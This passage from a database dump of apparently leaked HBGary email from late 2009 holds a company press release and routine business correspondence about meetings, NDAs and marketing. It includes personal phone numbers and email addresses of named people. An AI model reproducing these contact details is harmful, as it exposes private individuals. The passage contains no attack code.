requirements.\r\nOutdated security technologies such as signature-based malware\r\ndetection tools are no longer viable to protect our nations critical\r\nresources. HBGary’s behavior-based technologies such as Responder and\r\nDigital DNA represent the future.&nbsp;\r\nOur goal is to provide the technology in the hands of trained experts\r\nthat can help mitigate an attack before it occurs,” said Aaron Barr,\r\nCEO of HBGary Federal.&nbsp; “I am very excited to work with Aaron to launch HBGary Federal. Greg and his team have developed a strong government customer base and it’s time to take the next step to build on their success. HBGary\r\nFederal, leveraging the HBGary product line and key partnerships,\r\nprovides the expertise and the tools necessary for advanced analysis,\r\nmalware reverse-engineering and incident response as well as mechanisms\r\nfor building, distributing, and retaining that knowledge across the\r\nenterprise.&nbsp;\r\nAs information operations transitions to a more net-centric environment\r\nthere is a critical need for agile, forward-leaning teams with\r\nmulti-disciplinary skills in native cultures, linguistics, creative\r\ndesign, and technology.&nbsp; HBGary Federal will set the standard for building and integrating such teams into customer missions for successful information operations campaigns,” said Ted Vera, President and COO of HBGary Federal.For more information on HBGary Federal, please visit: http//www.hbgary.com or contact (please fill in)&nbsp;About Aaron Barr, CEO, HBGary FederalPreviously, Aaron Barr served\r\nas the Director of Technology for the Cybersecurity and SIGINT Business\r\nUnit within Northrop Grummans Intelligence Systems Division, and&nbsp;as the Chief Engineer for Northrop Grummans’s Cyber Campaign. &nbsp; As Technical Director, he was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. Prior\r\nto joining Northrop Grumman, Mr. Barr served 12 years in the United\r\nStates Navy as an enlisted cryptologist, senior signals analyst,\r\nsoftware programmer, and system administrator.&nbsp; Mr. Barr served tours in Misawa, Japan, Norfolk Virginia, Pensacola Florida, and Rota Spain. &nbsp; While serving in Norfolk Virginia,\r\nhe was accepted into the Enlisted Education Advancement Program (EEAP)\r\nwhere he finished a Bachellors of Science in Biology, minoring in\r\nChemistry, later completing a Masters in Computer Science with an\r\nemphasis in Computer Security.&nbsp;\r\nHe has been a panelist and given speeches on cybersecurity and emerging\r\ntechnologies at numerous Intelligence Community and DoD conferences and\r\nsymposiums.&nbsp;About Ted Vera, COO and President, HBGary FederalPrior\r\nto joining HBGary Federal, Ted Vera led the Netcentric Information\r\nOperations Department for Northrop Grumman Information Systems. In this\r\nrole, he managed over 40 personnel and was responsible for contracts\r\nvalued over $25M. He has 20 years of Information Technology experience, with a proven track record of winning and executing U.S. Government contracts within the DoD and Intelligence Community. &nbsp;He has a breadth of IT experience, having excelled in positions including: &nbsp;system administrator, Website developer, system engineer, system security engineer and program manager. &nbsp;He\r\nhas led development projects of all sizes, from small custom web\r\napplications to large enterprise systems-of-systems leveraging\r\ncommercial-off-the-shelf architectures. &nbsp; Mr. Vera served ten years in the U.S. Army, starting in 1990 with the FL Army National Guard as a Field Artillery Fire Direction Specialist.&nbsp; His last duty assignment was as a shift NCO at the Army Space Operations Center at Army Space Command HQs, located in Colorado Springs, CO.\r\nDuring his tenure with Northrop Grumman, Mr. Vera consistently achieved\r\nextraordinary business results and received numerous prestigious\r\ncustomer and company awards including the 2002 NRO Operations\r\nIndustrial Partner of the Year, and the 2008 TASC President\'s Award. Mr. Vera holds security clearances with the DoD and Intelligence Community. Mr. Vera earned a BS in Computer Information Systems from Colorado Christian University and a MS in Computer Science from Colorado Technical University.&nbsp;&nbsp;About HBGary, Inc. HBGary,\r\nInc. was founded in 2003 by renowned security expert Greg Hoglund. Mr.\r\nHoglund and his team are internationally known experts in the field of\r\nWindows internals, software reverse engineering, bug identification,\r\nrootkit techniques and countermeasures. Today HBGary specializes in\r\ndeveloping enterprise malware detection and analysis solutions and incident response tools that provide active intelligence for its customers.&nbsp;Customers include leading government, financial, and healthcare organizations. The\r\ncompany is headquartered in Sacramento with sales offices in the\r\nWashington D.C. area. HBGary is privately held. For more information on\r\nthe company, please visit: http://www.hbgary.com. For more information: Karen Burke 650-814-3764 karenmaryburke@yahoo.com&nbsp;',1475,'aaron_hbgary_com/1475.html'),(317,'2009-12-03','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1296999756.M608505P3547Q317.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','some great ads','Chris Claus is a doob, but these ads are great.  This was 2001 ??  Fast forward past the defcon interviews, there are three ISS ads at the end I want you to see.\r\n \r\nhttp://video.google.com/videosearch?hl=en&amp;source=hp&amp;q=hackers&amp;um=1&amp;ie=UTF-8&amp;sa=N&amp;tab=wv#q=biometric+please+submit+hair+sample&amp;hl=en&amp;view=2&amp;emb=0&amp;qvid=hackers&amp;vid=5177947484519927801\r\n\r\n \r\n-Greg\r\n',8276,'aaron_hbgary_com/8276.html'),(318,'2009-12-03','\"WebEx\" <webexwelcome@webex.com>','/aaron@hbgary.com/new/1296999756.M865362P3547Q318.eml','aaron@hbgary.com','Get started with your WebEx account','\r\n\r\n\r\n\r\n \r\n  \r\n \r\nWelcome EM\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n			\r\n				\r\n					\r\n\r\n			\r\n				\r\n					\r\n				\r\n				\r\n					\r\n				\r\n				\r\n					\r\n						\r\n							Welcome to Cisco WebEx Meeting Center\r\n							Dear Aaron,\r\n							Congratulations on becoming a Cisco WebEx Meeting Center host. Now, schedule and run online meetings with anyone, anywhere. Share ideas, documents, presentations-even your entire desktop.\r\n\r\nYou should have recently received an email containing your WebEx account login details. If you don\'t have this email on hand, you can retrieve your password. 							\r\n						\r\n					\r\n				\r\n				\r\n					\r\n				\r\n				\r\n					\r\n						\r\n							Get Started\r\n							Get to know WebEx Meeting Center. Take a look at the links below so you can learn the basics and start hosting online meetings right away.\r\n							Schedule a WebEx meeting\r\n							1. Go to hbgary.webex.com and click on Log In\r\n							2. Enter your user name and password\r\n							3. Click Schedule Meeting (It\'s under Host Meetings in the left navigation bar.)\r\n							4. Enter the meeting details and click Schedule Meeting\r\n							\r\n							\r\n							\r\n								\r\n									\r\n										\r\n											\r\n												\r\n													\r\n														Take a Virtual Tour\r\n														Join Samantha for a 5-minute tour. She\'ll introduce you to WebEx Meeting Center and show you how it works.\r\n														\r\n														Take Tour\r\n													\r\n												\r\n											\r\n										\r\n									\r\n									\r\n									\r\n										\r\n											\r\n												\r\n													\r\n														How do I...?\r\n														These video tutorials show you how to use a single function in just three minutes. Learn how to:\r\n														Schedule a Meeting\r\n														Share My Desktop\r\n														Use Teleconferencing\r\n														Use Internet Phone (VoIP)\r\n														To view the videos, make sure pop-ups display in your browser. \r\n													\r\n												\r\n											\r\n										\r\n									\r\n									\r\n									\r\n										\r\n											\r\n												\r\n													\r\n														Get Started\r\n														Schedule and run meetings in three quick steps using this \r\n														Quick Start Guide.\r\n														\r\n														View Guide\r\n													\r\n												\r\n											\r\n										\r\n									\r\n								\r\n							\r\n							\r\n							Get the Productivity Tools plug-in, and make meeting even easier.\r\n							Schedule and join WebEx meetings just like your other meetings &mdash; right from Outlook or Lotus Notes. Or start meeting instantly with a single click from a handy desktop console. \r\n							\r\n							Download the Productivity Tools Plug-In today.  \r\n\r\n						\r\n						Watch your inbox!\r\n						Look for more information soon. You\'ll learn how to:\r\n						\r\n								\r\n									\r\n									Transfer a file to attendees\r\n									\r\n									Use the whiteboard\r\n								\r\n								\r\n									\r\n									Record a meeting\r\n									\r\n									Hold a videoconference\r\n								\r\n							\r\n					  \r\n					\r\n				\r\n				\r\n					\r\n				\r\n				\r\n					\r\n						\r\n							Questions? Contact Us!\r\n							\r\n								\r\n									Service questions 1-866-863-3908\r\n\r\n									\r\n									Technical questions http://support.webex.com\r\n								\r\nForgot your WebEx password? Retrieve it.\r\n							\r\n						\r\n					\r\n				\r\n				\r\n					\r\n				\r\n			\r\n\r\n					\r\n				\r\n			\r\n			\r\n\r\n				\r\n					\r\n						\r\n&copy; 2009 Cisco Systems, Inc. and/or its affiliated entities. All rights reserved. \r\nCisco WebEx LLC, 3979 Freedom Circle, Santa Clara, CA 95054.\r\n\r\nThis email was sent to: aaron@hbgary.com \r\nWebEx respects your privacy : http://www.webex.com/webex_privacy.html\r\n\r\n						\r\n					\r\n					\r\n				\r\n			\r\n\r\n		\r\n	\r\n\r\n\r\n\r\n-WEBEX:enUS:\r\n\r\nhHlEZxrEwlIpT3FArFZjio-\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11705,'aaron_hbgary_com/11705.html'),(319,'2009-12-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999757.M561019P3547Q319.eml','\"John Edwards\" <John.Edwards@agilex.com>','Re: Introduction','Gregs in town next week. &nbsp;Do you have something set up with him already or should I set something, or does Greg need to be there?Either way, Tuesday afternoon works, also Friday works. &nbsp;Either of those days good for you?AaronOn Dec 1, 2009, at 11:45 AM, John Edwards wrote:Aaron,This week is crazy – some large proposals.&nbsp; How about next week.&nbsp; What is your schedule for next week?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, December 01, 2009 8:36 AMTo:&nbsp;John EdwardsSubject:&nbsp;Re: Introduction&nbsp;Hi John,&nbsp;Do you want to try and link up this week or wait until next week when Greg gets into town?&nbsp;Aaron&nbsp;&nbsp;On Nov 25, 2009, at 4:02 PM, Penny Hoglund wrote:Hi John,&nbsp;I’d like to introduce you to Aaron Barr, CEO of HBGary Federal.&nbsp; Aaron just joined HBGary Federal from Northrup Grumman and has a lot of experience with your old employer.&nbsp; He has his clearance as does his President Ted Vera.&nbsp;&nbsp;As I told you Greg will be out week of December 7th&nbsp;so perhaps we could all meet then.&nbsp; Please feel free to communicate prior to that as well&nbsp;ThanksPenny&nbsp;',6942,'aaron_hbgary_com/6942.html'),(320,'2009-12-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999758.M635780P3547Q320.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Office in tysons','Here you go Bob.\r\n\r\n',16669,'aaron_hbgary_com/16669.html'),(321,'2009-12-03','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999759.M307178P3547Q322.eml','all@hbgary.com','RE: some google analytics for hbgary','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWow!&nbsp;&nbsp; When can we demo DDNA/EE?\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Thursday, December 03, 2009 12:35 AM\r\nTo: all@hbgary.com\r\nSubject: some google analytics for hbgary\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAll,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThought you might like to see the significance of Guidance\r\nEncase to our bottom line:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSearch terms recently typed into google:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nhbgary responder - 53,000 hits\r\n\r\n\r\n\r\n\r\n\r\nhbgary digital dna - 1,100 hits\r\n\r\n\r\n\r\n\r\n\r\nhbgary responder pro - 51,000 hits\r\n\r\n\r\n\r\n\r\n\r\nhbgary encase - 453,000 hits\r\n\r\n\r\n\r\n\r\n\r\nhbgary fastdump pro - 1,500 hits\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWell, the numbers don\'t lie.&nbsp; As we enter Q1, we need\r\nto highlight the availability of our working, totally integrated Digital DNA\r\nwith EnCase, as that is a sure bet according to google.&nbsp; I hope to\r\nsee&nbsp;some significant sales of the 42 LLC integrated&nbsp;solution in\r\nQ1.&nbsp; Scott should be bringing us an update on this product very\r\nsoon.&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1653,'aaron_hbgary_com/1653.html'),(322,'2009-12-03','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1296999759.M33649P3547Q321.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: AFCEA Conference @ Thu Dec 3 8am - 4:30pm 	(aaron@hbgary.com)',' more details &raquo;AFCEA ConferenceWhenThu Dec 3 8am – 4:30pm Eastern TimeWhereThe National Conference Center 18980 Upper Belmont Place Leesburg, VA 20176 (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizerInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',1167,'aaron_hbgary_com/1167.html'),(323,'2009-12-03','\"Huffman, April A.\" <APRIL.A.HUFFMAN@saic.com>','/aaron@hbgary.com/new/1296999760.M226700P3547Q323.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: NDA for COIN','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nEnclosed is the executed NDA.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nApril \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nApril Huffman\r\n\r\nSubcontracts Manager\r\n\r\nPh: 703-318-4732\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, December 02, 2009\r\n10:44 PM\r\nTo: Huffman, April A.\r\nSubject: Re: NDA for COIN\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHere you go.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10476,'aaron_hbgary_com/10476.html'),(324,'2009-12-03','\"John Edwards\" <John.Edwards@agilex.com>','/aaron@hbgary.com/new/1296999765.M783946P3547Q324.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Introduction','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI&#8217;m good Tuesday until 1630 and anytime on Friday.&nbsp;\r\nLet me know what works for you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, December 03, 2009 7:29 AM\r\nTo: John Edwards\r\nSubject: Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGregs in town next week. &nbsp;Do you have something set up\r\nwith him already or should I set something, or does Greg need to be there?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nEither way, Tuesday afternoon works, also Friday works.\r\n&nbsp;Either of those days good for you?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 1, 2009, at 11:45 AM, John Edwards wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\nThis week is crazy &#8211; some large proposals.&nbsp; How about\r\nnext week.&nbsp; What is your schedule for next week?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron\r\nBarr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, December\r\n01, 2009 8:36 AM\r\nTo:&nbsp;John Edwards\r\nSubject:&nbsp;Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHi John,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo you want to try and link up\r\nthis week or wait until next week when Greg gets into town?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Nov 25, 2009, at 4:02 PM, Penny\r\nHoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi John,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;d like to introduce you to Aaron Barr, CEO of HBGary\r\nFederal.&nbsp; Aaron just joined HBGary Federal from Northrup Grumman and has a\r\nlot of experience with your old employer.&nbsp; He has his clearance as does\r\nhis President Ted Vera.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAs I told you Greg will be out week of December 7th&nbsp;so perhaps we could all meet\r\nthen.&nbsp; Please feel free to communicate prior to that as well\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9011,'aaron_hbgary_com/9011.html'),(325,'2009-12-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999766.M283386P3547Q326.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Carnegie Melon','Do we have an existing relationship with Carnegie Melon?  I was\r\ntalking with a guy that runs NSAs cyber operations integration shop.\r\nHe is going to put me in contact with CMU, they supposedly are\r\nbuilding a malware genome that NSA is using.  A partnership with that\r\nuniversity would be a huge thing.  They are also the architects of\r\nEinstein for DHS which we want to hook into.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',13851,'aaron_hbgary_com/13851.html'),(326,'2009-12-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999766.M58571P3547Q325.eml','\"Brownfield, Amanda L.\" <AMANDA.L.BROWNFIELD@saic.com>','Re: Possible Opportunity','Hi Amanda,Looks like the NDA is in place.  Most of the week after next I will be in our California office, other than that I can be flexible when you have some time to meet.\r\nThanks,AaronFrom my iPhoneOn Dec 2, 2009, at 1:02 PM, &quot;Brownfield, Amanda L.&quot; &lt;AMANDA.L.BROWNFIELD@saic.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nThanks for the information, Mike.\r\n\r\n \r\n\r\nAaron,\r\n\r\nI am very familiar with the opportunity that you are\r\npursuing.  Based on our discussions with the customer I believe that\r\nNG/TASC is not in a very good position for its recompete.  Given the fact that\r\nyou have left the company I assume this makes their position even worse?  I\r\nam the lead division for SAIC (also own digital echo) and have been ‘capturing’\r\nit for some time.  We do in fact intend to prime and have begun our\r\nproposal preparation.  I would welcome the opportunity to speak with you\r\nas soon as possible.   \r\n\r\n \r\n\r\nApril Huffman will need to send you a NDA before we can\r\nmeet.  I am on travel next WED thru FRI, and my time before then is very\r\ntight with a proposal resubmit due Tuesday.  \r\n\r\n \r\n\r\nI look forward to meeting you,\r\n\r\n \r\n\r\n \r\n\r\nAmanda L. Brownfield\r\n\r\nVP/Division Manager\r\n\r\nAdvanced Analytics and Cultural Research\r\n\r\nSAIC\r\n\r\n703-810-8979 office\r\n\r\n703-862-5614 BB\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10046,'aaron_hbgary_com/10046.html'),(327,'2009-12-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999767.M203918P3547Q327.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: NDA for COIN','From my iPhoneBegin forwarded message:From: &quot;Huffman, April A.&quot; &lt;APRIL.A.HUFFMAN@saic.com&gt;\r\nTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Cc: &quot;Brownfield, Amanda L.&quot; &lt;AMANDA.L.BROWNFIELD@saic.com&gt;\r\nSubject: RE: NDA for COIN\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nEnclosed is the executed NDA.\r\n\r\n \r\n\r\nThanks,\r\n\r\nApril \r\n\r\n \r\n\r\n\r\n\r\nApril Huffman\r\n\r\nSubcontracts Manager\r\n\r\nPh: 703-318-4732\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, December 02, 2009\r\n10:44 PM\r\nTo: Huffman, April A.\r\nSubject: Re: NDA for COIN\r\n\r\n\r\n\r\n \r\n\r\nHere you go.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16282,'aaron_hbgary_com/16282.html'),(328,'2009-12-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999767.M460767P3547Q328.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Messaging thoughts','Counter and mitigation of attacks before they happen.  Through hbgarys\r\nand it\'s partners knowledge of the threat from the binary to the human\r\nelement.\r\n\r\nThis involves forward deployed resources to monitor, analyze, and\r\nreport Internet activity, characterizing threats as they evolve and\r\nprovide security configuration changes based on the threat level to\r\norganizations before they are attacked.\r\n\r\nThis is the Borg model of cybersecurity.  This answers the incident\r\nresponse and system resiliancy/fight through capability.  By the time\r\nthe attack reaches you you already have defenses against it.  Looks at\r\nthe web and evolution of malware more holistically.\r\n\r\n\r\nPartners:\r\nHbgary\r\nPalantir\r\nCMU\r\nXetron\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',15077,'aaron_hbgary_com/15077.html'),(329,'2009-12-03','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999767.M671464P3547Q329.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','GD meeting on Monday, Dec 14','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nPenny said you guys will be in CA the week of Dec 14.&nbsp;\r\nI had scheduled a conference call with Ben Wilson of GD-AIS at 1pm ET (10am PT)\r\non Dec 14.&nbsp; If you are going out then you could meet Ben and others from\r\nGD in person.&nbsp; Penny is arranging meetings with others from GD for that\r\nsame day.&nbsp; GD is in Santa Clara so that could influence which airport you\r\nfly into.&nbsp; I&#8217;d like to get confirmation on this plan so I can close\r\nthe loop with Ben.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',733,'aaron_hbgary_com/733.html'),(330,'2009-12-03','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1296999767.M969125P3547Q330.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: some great ads','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg,\r\n\r\n&nbsp;\r\n\r\nI put some old commercials from network associates into your\r\nhome dir on support.&nbsp; The file is named commercials.rar.&nbsp; Please take a look\r\nthese adds are way ahead of their time too.&nbsp; There is one in particular that\r\nhas to do with nukes.\r\n\r\n&nbsp;\r\n\r\nRich \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Thursday, December 03, 2009 12:59 AM\r\nTo: Rich Cummings; Penny C. Hoglund; Ted Vera; Aaron Barr\r\nSubject: some great ads\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nChris Claus is a doob, but these ads are great.&nbsp; This\r\nwas 2001 ??&nbsp; Fast forward past the defcon interviews, there are three ISS\r\nads at the end I want you to see.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nhttp://video.google.com/videosearch?hl=en&amp;source=hp&amp;q=hackers&amp;um=1&amp;ie=UTF-8&amp;sa=N&amp;tab=wv#q=biometric+please+submit+hair+sample&amp;hl=en&amp;view=2&amp;emb=0&amp;qvid=hackers&amp;vid=5177947484519927801\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14791,'aaron_hbgary_com/14791.html'),(331,'2009-12-03','\"Zavala, Kathy L. (IS)\" <Kathy.Zavala@ngc.com>','/aaron@hbgary.com/new/1296999768.M497884P3547Q331.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Status','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nThat&#8217;s sound great.&nbsp; Bill would like to meet with you at 9:30\r\nam.&nbsp; Will that time work for you?\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nKathy\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, December 02, 2009 7:32 PM\r\nTo: Zavala, Kathy L. (IS)\r\nSubject: Re: Status\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHi kathy,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJust occured to me would an office be better? &nbsp;We could\r\nmeet at my office:&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n2010 Corporate Ridge, Suite # 700, McLean, VA\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nEither way.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 2, 2009, at 11:59 AM, &quot;Zavala, Kathy L. (IS)&quot; &lt;Kathy.Zavala@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMonday,\r\nDecember 7 works. Bill is ok meeting you at a location close to you.&nbsp;\r\nPlease provide a location.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nKathy\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 01, 2009 5:19 PM\r\nTo: Zavala, Kathy L. (IS)\r\nSubject: Re: Status\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nWould\r\nMonday morning work?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 1, 2009, at 2:33 PM, &quot;Zavala, Kathy L. (IS)&quot; &lt;Kathy.Zavala@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nBill\r\nLuti has asked me to contact you to scheduled 